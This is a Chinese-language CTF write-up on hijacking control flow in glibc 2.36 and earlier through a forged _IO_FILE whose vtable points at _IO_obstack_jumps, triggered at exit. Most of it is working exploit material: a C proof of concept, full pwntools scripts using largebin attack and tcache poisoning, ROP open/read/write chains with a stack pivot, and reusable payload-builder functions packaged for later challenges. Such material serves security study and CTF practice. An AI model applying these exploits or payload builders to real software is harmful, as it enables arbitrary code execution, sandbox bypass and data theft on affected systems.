GLIBC2.36中利用obstack去劫持执行流
作者没有起名字,可能就是跟house of apple太相似了 ,就是roderick师傅提出的house of apple中没有发现的一个链,个人感觉就是house of apple跟house of banana的一个结合(说实话这两个我已经快忘了怎么用的了所以会将这个攻击封装成几个函数以应对不同的场景),用的类似apple的链攻击效果跟banana一样,如果只能打orw其实都是一样的,但是在2.37中不能使用了,2.36及以下还是可以用的
前置知识
io_file结构体
_IO_FILE结构体包含了描述文件流状态的各种信息,如文件位置指针、缓冲区、文件打开模式、文件描述符等等
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_jump_t
就是一个存放各种函数指针的虚表,而这些函数则分别为对应文件流的各种操作,如读、写、定位、刷新等, 当我们对一个文件对象fp进行操作时,往往会使用到
_IO_jump_t
结构体内某一函数。对应结构体如下
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_FILE_plus结构体
_IO_FILE_plus中包含了_IO_FILE和_IO_jump_t
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
调用链
漏洞函数调用链
_IO_obstack_xsputn
obstack_grow
(一个宏定义)
_obstack_newchunk
CALL_CHUNKFUN
(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))
从exit去触发到攻击的整个流程
exit
__run_exit_handlers
fcloseall
_IO_cleanup
_IO_flush_all_lockp
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))
调用过程经过的函数
_IO_obstack_xsputn
_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
if (fp->_IO_write_ptr + n > fp->_IO_write_end) // `一个检查` 这个n是1
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
//相当于#define obstack_blank_fast(h, n) ((h)->next_free += (n))
//obstack就是fp next就是偏移为0x18的位置
/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n);
/* Setup the buffer pointers again. */
fp->_IO_write_base = obstack_base (obstack);
fp->_IO_write_ptr = obstack_next_free (obstack);
size = obstack_room (obstack);
fp->_IO_write_end = fp->_IO_write_ptr + size;
/* Now allocate the rest of the current chunk. */
obstack_blank_fast (obstack, size);
}
else
fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);
return n;
}
obstack_grow
# define obstack_grow(OBSTACK, where, length) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (__o->next_free + __len > __o->chunk_limit) \
//有一个检查(__o->next_free + __len > __o->chunk_limit)
//next_free 的偏移是0x18 chunk_limit在obstack中的偏移是0x20
_obstack_newchunk (__o, __len); \ //进入这个函数
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })
_obstack_newchunk
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size); //执行CALL_CHUNKFUN
[...]
}
CALL_CHUNKFUN
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) //这里会检查在chunk+0x50出的值是否等于1,这里我让它为1就可以了\
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
布局&&检查
这个调用调用链需要绕过的检查很少
1、首先就是在调用exit()时可以调用_IO_OVERFLOW只有这样我们的vtable才派的上用处,我们需要
fp->_IO_write_ptr > fp->_IO_write_base
2、在
_IO_obstack_xsputn
中检查fp->_IO_write_ptr + n > fp->_IO_write_end
就是1,并且在下面还会对next_free进行加一3、在
obstack_grow
中检查next_free + __len > obstack->chunk_limit
我在调试时__len是1 一般情况下设置chunk_limit
为0便可4、
obstack->use_extra_arg==1
不为1也可以call rax但是不能控制参数rdi,如果打一个orw就无所谓了
也就是我们需要满足下面的条件才能触发攻击
- 利用
largebin attack
伪造_IO_FILE
,记完成伪造的chunk
为A
(或者别的手法)chunk A
内偏移为0xd8处设为_IO_obstack_jumps+0x20
chunk A
内偏移为0xe0处设置chunk A
的地址作为obstack
结构体obstack
内偏移为0x18处设为1(next_free
)obstack
内偏移为0x20处设为0(chunk_limit
)obstack
内偏移为0x48处设为/bin/sh
obstack
内偏移为0x38处设为system
函数的地址chunk A
内偏移为0x28处设为1(_IO_write_ptr
)chunk A
内偏移为0x30处设为0 (_IO_write_end
)obstack
内偏移为0x50处设为1 (use_extra_arg
)
poc
//glibc 2.35
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char bin_sh_addr[0x10];
void backdoor(char *cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}
int main()
{
long long int *IO_2_1_stderr;
long long int IO_obstack_jumps;
strcpy(bin_sh_addr,"/bin/sh");
printf("start!\n");
long long int libc_base=&printf-0x60770;
printf("libc_base --------> %llx\n",libc_base);
IO_2_1_stderr = libc_base + 0x21a6a0;
printf("IO_2_1_stderr --------> %llx\n",IO_2_1_stderr);
IO_obstack_jumps = libc_base + 0x2163c0;
printf("IO_obstack_jumps --------> %llx\n",IO_obstack_jumps);
*(IO_2_1_stderr + (0x28/8)) = 0x1;
*(IO_2_1_stderr + (0x30/8)) = 0;
*(IO_2_1_stderr + (0x18/8)) = 1;
*(IO_2_1_stderr + (0x20/8)) = 0;
*(IO_2_1_stderr + (0x50/8)) = 1;
*(IO_2_1_stderr + (0xd8/8)) = IO_obstack_jumps+0x20;
*(IO_2_1_stderr + (0xe0/8)) = IO_2_1_stderr;
*(IO_2_1_stderr + (0x38/8)) = (long long*)(&backdoor);
*(IO_2_1_stderr + (0x48/8)) = bin_sh_addr;
return 0;
}
//0x885ac 0x885c9 0xa773eq
例题
就不在找例题了用之前house of banana的那个题做一下,用两种方法做一下
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];
void backdoor(char *cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.edit");
puts("3.show");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}
int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}
int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}
int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
free(chunk_list[index]);
}
int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
puts(chunk_list[index]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
方法一
跟上面的poc差不多,这里不考虑是否栈对齐,如果没对齐,还不如打orw,因为控制不了rbp 想要改变栈帧就太过于麻烦,也就是说上面的例题如果开启pie不如打orw,
exp
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
# add_p=0x13EC
# show_p=0x1620
# edit_p=0x14E7
# delete_p=0x157C
add_p=0x4013d9
edit_p=0x4014d4
delete_p=0x401569
show_p=0x40160d
def add(index,size):
p.sendlineafter('Your choice:','1')
p.sendlineafter("index:\n",str(index))
p.sendlineafter("Size:",str(size))
def show(index):
p.sendlineafter('Your choice:','2')
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter('Your choice:','3')
p.sendlineafter("index:\n",str(index))
p.sendafter("context: \n",content)
def delete(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter("index:\n",str(index))
def exit():
p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500) #padding
add(2,0x418)
delete(0)
add(3,0x500) #padding
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21a0d0
log_addr('libc_base')
debug(p,add_p,edit_p,delete_p)
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10) #chunk 0 addr
leak_heap=u64(p.recv(4)[0:5].ljust(8,b'\x00'))
log_addr('leak_heap')
IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0
edit(0,b'a'*0x18+p64(IO_list_all-0x20))
delete(2)
# trigger large bin attack
add(4,0x500)
ret=libc_base+0x00000000000d22ce # mov bh, 0x83 ; ret
#Falsified io_file structures
system=0x401236
bin_sh=leak_heap+0xa28
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(system) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(bin_sh) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20) #vtable
io_file+=p64(leak_heap+0x940) #obstack +0xb8 +0xd8
io_file+=b'/bin/sh\x00'
#io_file+=p64(0)*2
#io_file+=p64(1) # obstack->next_free
#io_file+=p64(0) #obstack->chunk_limit
#io_file+=p64(ret) #rax
#io_file+=p64(system) #
#io_file+=p64(bin_sh) #rdi
#io_file+=p64(1) #use_extra_arg
edit(2,io_file)
p.sendlineafter('Your choice:','5')
p.interactive()
#0xa772f 0xa7734 0x885cd
方法二
打一个orw因为现在高版本的题都会开启沙箱,相比之下更喜欢这种,不用考虑栈对齐。
方法跟上面的差不多,就是多了一个利用svcudp_reply控制rbp在结合add rsp 0x58去执行orw的过程
这个orw我在这里写了三种,第一种就是常规的,
第二种就是利用openat替换open(防止禁用open),
第三种就是在第二种的基础上关闭标准输入流利用那个0作为flag的文件描述符(这个是为了防止本地打通远程打不通)
第二,三只给了io_file和orw
exp
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_p=0x13EC
show_p=0x1620
edit_p=0x14E7
delete_p=0x157C
# add_p=0x4013d9
# edit_p=0x4014d4
# delete_p=0x401569
# show_p=0x40160d
def add(index,size):
p.sendlineafter('Your choice:','1')
p.sendlineafter("index:\n",str(index))
p.sendlineafter("Size:",str(size))
def show(index):
p.sendlineafter('Your choice:','2')
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter('Your choice:','3')
p.sendlineafter("index:\n",str(index))
p.sendafter("context: \n",content)
def delete(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter("index:\n",str(index))
def exit():
p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500) #padding
add(2,0x418)
delete(0)
add(3,0x500) #padding
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21a0d0
log_addr('libc_base')
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10) #chunk 0 addr
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')
IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0
reply=libc_base+0x16a1fa
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
add_rsp=libc_base+0x0000000000116115
open=libc_base+0x114690
read=libc_base+0x114980
write=libc_base+0x114a20
edit(0,b'a'*0x18+p64(IO_list_all-0x20))
delete(2)
# trigger large bin attack
add(4,0x500)
ret=libc_base+0x00000000000d22ce # mov bh, 0x83 ; ret
#Falsified io_file structures
system=0x401236
bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(reply) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20) #vtable
io_file+=p64(leak_heap+0x940) #obstack
io_file+=p64(add_rsp) # ret
io_file+=p64(0)
io_file+=p64(leak_heap+0x940+0xe0) #rax
io_file+=p64(0)
io_file+=p64(leave_ret) #second call
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0) #rbp
io_file+=p64(leave_ret)
# io_file+=p64(0)*2
# io_file+=p64(1) # obstack->next_free
# io_file+=p64(0) #obstack->chunk_limit
# io_file+=p64(ret) #rax
# io_file+=p64(system) #
# io_file+=p64(bin_sh) #rdi
# io_file+=p64(1) #use_extra_arg
orw=p64(0xdeadbeef)*3
orw+=p64(pop_rdi)+p64(flag)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'./flag\x00\x00'
debug(p,'pie',add_p,edit_p,delete_p)
edit(2,io_file+orw)
p.sendlineafter('Your choice:','5')
p.interactive()
#0xa772f 0xa7734 0x885cd
orw
bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32+0x8
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(reply) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20) #vtable
io_file+=p64(leak_heap+0x940) #obstack
io_file+=p64(add_rsp) # ret
io_file+=p64(0)
io_file+=p64(leak_heap+0x940+0xe0) #rax
io_file+=p64(0)
io_file+=p64(leave_ret) #second call
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0) #rbp
io_file+=p64(leave_ret)
# io_file+=p64(0)*2
# io_file+=p64(1) # obstack->next_free
# io_file+=p64(0) #obstack->chunk_limit
# io_file+=p64(ret) #rax
# io_file+=p64(system) #
# io_file+=p64(bin_sh) #rdi
# io_file+=p64(1) #use_extra_arg
orw=p64(0xdeadbeef)*3
orw+=p64(pop_rsi)+p64(flag)
orw+=p64(pop_rdx_r12)+p64(0)*2
orw+=p64(openat)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'/f/flag\x00'
IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0
reply=libc_base+0x16a1fa
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
add_rsp=libc_base+0x0000000000116115
open=libc_base+0x114690
read=libc_base+0x114980
write=libc_base+0x114a20
close=libc_base+0x115100
openat=libc_base+0x114820
bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32+0x8+0x18
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(reply) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20) #vtable
io_file+=p64(leak_heap+0x940) #obstack
io_file+=p64(add_rsp) # ret
io_file+=p64(0)
io_file+=p64(leak_heap+0x940+0xe0) #rax
io_file+=p64(0)
io_file+=p64(leave_ret) #second call
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0) #rbp
io_file+=p64(leave_ret)
orw=p64(0xdeadbeef)*3
orw+=p64(pop_rdi)+p64(0)
orw+=p64(close)
orw+=p64(pop_rsi)+p64(flag)
orw+=p64(pop_rdx_r12)+p64(0)*2
orw+=p64(openat)
orw+=p64(pop_rdi)+p64(0)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'/f/flag\x00'
封装成函数
为了防止像apple banana那种情况出现就把上面的布置封装成3种函数(3种使用场景),下次遇见可以打的题直接使用,这几个函数我放到了zikh师傅的tools中https://zikh26.github.io/posts/ad411136.html
第一种情况
1、程序中调用了system函数,(如果出现了栈没对齐的情况就放弃吧,因为不划算,不如orw)
2、到call那一步有可用onegadget
def obstack_attack(heap_addr:int,libc_symbol_address:dict)->bytes:
'''
传入的参数字典所需的符号为:system io_obstack_jumps
该io链似乎没有在House系列中有名字 姑且记为obstack_attack函数 该io链适用于glibc2.36及以下的攻击
使用前提是泄露libc地址和堆地址 并且能任意地址写一个堆地址(最好是能往IO_list_all里写一个堆地址) 且能从main函数正常返回或者触发exit函数
攻击效果是任意地址执行且rdi可控
:param heap_addr: 伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
:param libc_symbol_address: 传入进来的libc中符号地址的参数字典
:return: 构造好的payload
'''
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(libc_symbol_address.system) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(heap_addr+0xe8) #rdi
io_file+=p64(1) # use_extra_arg
io_file+=p64(0)*16
io_file+=p64(libc_symbol_address.io_obstack_jumps+0x20) #vtable
io_file+=p64(heap_addr) #obstack
io_file+=b'/bin/sh\x00'
return io_file
第二种就是常规的orw的做法,这里我只封装了两个,第一种就是常规的,第二个就是上面第三个orw,
def obstack_orw_attack(heap_addr,libc_symbols_address)->bytes:
'''
传入的参数字典所需的符号为:
open;read;write
io_obstack_jumps;svcudp_reply;add_rsp
leave_ret;pop_rdi;pop_rsi;pop_rdx_xxx
该io链依然是obstack这条 该函数可以在开启沙箱后执行orw读取出flag
:param heap_addr: 伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
:param libc_symbol_address: 传入进来的libc中符号地址的参数字典
:return: 构造好的payload
svcudp_reply:是svcudp_reply+26的地址如下:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
flag=heap_addr+0x1f2
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(libc_symbols_address.svcudp_reply) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(heap_addr+0xd8) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(libc_symbols_address.io_obstack_jumps+0x20) #vtable
io_file+=p64(heap_addr) #obstack
io_file+=p64(libc_symbols_address.add_rsp) # ret
io_file+=p64(0)
io_file+=p64(heap_addr+0xe0) #rax
io_file+=p64(0)
io_file+=p64(libc_symbols_address.leave_ret) #second call
io_file+=p64(0)*2
io_file+=p64(heap_addr+0xe0) #rbp
io_file+=p64(libc_symbols_address.leave_ret)
orw=p64(0xdeadbeef)*3
orw+=p64(libc_symbols_address.pop_rdi)+p64(flag)
orw+=p64(libc_symbols_address.pop_rsi)+p64(0)
orw+=p64(libc_symbols_address.open)
orw+=p64(libc_symbols_address.pop_rdi)+p64(3)
orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
orw+=p64(libc_symbols_address.read)
orw+=p64(libc_symbols_address.pop_rdi)+p64(1)
orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
orw+=p64(libc_symbols_address.write)
orw+=b'./flag\x00\x00'
return io_file+orw
def obstack_orw_attack(heap_addr,libc_symbols_address)->bytes:
'''
传入的参数字典所需的符号为:
openat;read;write
io_obstack_jumps;svcudp_reply;add_rsp
leave_ret;pop_rdi;pop_rsi;pop_rdx_xxx
该io链依然是obstack这条 该函数可以在开启沙箱后执行orw读取出flag,这次只不过是将open换成了openat 关闭了标准输入流把0当作了flag的文件描述符
:param heap_addr: 伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
:param libc_symbol_address: 传入进来的libc中符号地址的参数字典
:return: 构造好的payload
svcudp_reply:是svcudp_reply+26的地址如下:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
flag=heap_addr+0x1f2+0x18
io_file=p64(0) # io_read_end
io_file+=p64(1) # obstack->next_free
io_file+=p64(0) # io_write_base
io_file+=p64(1) # io_write_ptr
io_file+=p64(0) # io_write_end
io_file+=p64(libc_symbols_address.svcudp_reply) #rax
io_file+=p64(0) # _io_buf_end
io_file+=p64(heap_addr+0xd8) #rdi
io_file+=p64(1) # use_extra_arg 19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20) #vtable
io_file+=p64(heap_addr) #obstack
io_file+=p64(libc_symbols_address.add_rsp) # ret
io_file+=p64(0)
io_file+=p64(heap_addr+0xe0) #rax
io_file+=p64(0)
io_file+=p64(libc_symbols_address.leave_ret) #second call
io_file+=p64(0)*2
io_file+=p64(heap_addr+0xe0) #rbp
io_file+=p64(libc_symbols_address.leave_ret)
orw=p64(0xdeadbeef)*3
orw+=p64(libc_symbols_address.pop_rdi)+p64(0)
orw+=p64(close)
orw+=p64(libc_symbols_address.pop_rsi)+p64(flag)
orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0)*2
orw+=p64(libc_symbols_address.openat)
orw+=p64(libc_symbols_address.pop_rdi)+p64(0)
orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
orw+=p64(libc_symbols_address.read)
orw+=p64(libc_symbols_address.pop_rdi)+p64(1)
orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
orw+=p64(libc_symbols_address.write)
orw+=b'/f/flag\x00'
return io_file+orw
例题 柏鹭杯2022
在做一道题验证一下封装的函数好用不,这里只展现了使用第一个函数(利用system),其余几种也可以使用,而且只一个题也让我学到了一个新知识:在不能使用large bin attack (限制了申请的chunk的大小)时我们该如何任意地址写一个堆地址,(而且这一题没有edit函数),
做法就是利用fastbin打一个tcache posioning(这就需要知道出现tcache的版本中ptmalloc的流程,我之前只分析了2.23的,但之前学习tcache stashin unlink attack其实用到类似的攻击手法)
原理:
第一种是填满
tcache bin
,然后在fastbin
中打double free
(先将tcache bin
的堆块全部取出),因为tcache bin
机制的优化,从fastbin
中申请出来一个堆块,剩下的堆块都会进入tcache bin
,刚申请出来时又在tcache bin
中形成了double free
,随后输入进去数据,完成了tcache poisoning
第二种是
house of botcake
(手法跟off by null中的非爆破的原理差不多,都是利用向后合并保存指针,在申请出来进行修改),该方法最后的效果也是打tcache poisoning
,但不需要用到fastbin
,而需要用到unsorted bin
。详情见 house of botcake
exp
from tools import *
# from tools import _Inner_Dict
p,e,libc=load('note2')
context(os='linux', arch='amd64', log_level='debug')
add_p=0x13CF
show_p=0x14B5
delete_p=0x146D
# add_p=0x4013d9
# edit_p=0x4014d4
# delete_p=0x401569
# show_p=0x40160d
def add(index,size,content):
p.sendlineafter('>','1')
p.sendlineafter('>',str(index))
p.sendlineafter('>',str(size))
p.sendlineafter("Enter content: ",content)
def show(index):
p.sendlineafter('>','3')
p.sendlineafter('>',str(index))
def delete(index):
p.sendlineafter('>','2')
p.sendlineafter('>',str(index))
def exit():
p.sendlineafter('>','4')
for i in range(9): # 0~8
add(i,0x80,'a')
delete(0)
show(0)
a=p.recv(1)
leak_heap=u64(p.recv(6)[0:5].ljust(8,b'\x00'))<<12
log_addr('leak_heap')
for i in range(1,7): # 0~6
delete(i)
delete(7)
show(7)
a=p.recv(1)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x219ce0
log_addr('libc_base')
for i in range(8): #
add(i,0x80,'a')
for i in range(10): #
add(i,0x70,'a')
for i in range (7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7): # 0~7
add(i,0x70,'a')
debug(p,'pie',add_p,delete_p,show_p)
io_list_all=libc_base+0x21a680
key=leak_heap>>12
heap_addr=leak_heap+0xca0
add(7,0x70,p64(key^io_list_all))
add(8,0x70,'a')
add(8,0x70,'a')
add(8,0x70,p64(heap_addr))
dirc={
'system':libc_base+0x50d60
,'io_obstack_jumps':libc_base+0x2163c0
}
libc_symbols=create_dict(dirc)
payload=obstack_attack(heap_addr,libc_symbols)
add(9,0x200,payload)
p.sendlineafter('>','4')
p.interactive()
#0xa772f 0xa7734 0x885cd
参考
标签:GLIBC2.36,劫持,io,IO,orw,obstack,file,p64 From: https://www.cnblogs.com/trunk/p/17338793.htmlhttps://tttang.com/archive/1845/#toc 从这个师傅学习的手法
柏鹭杯2022 | Fang's Blog! (gitee.io)从这个师傅的文章中下的附件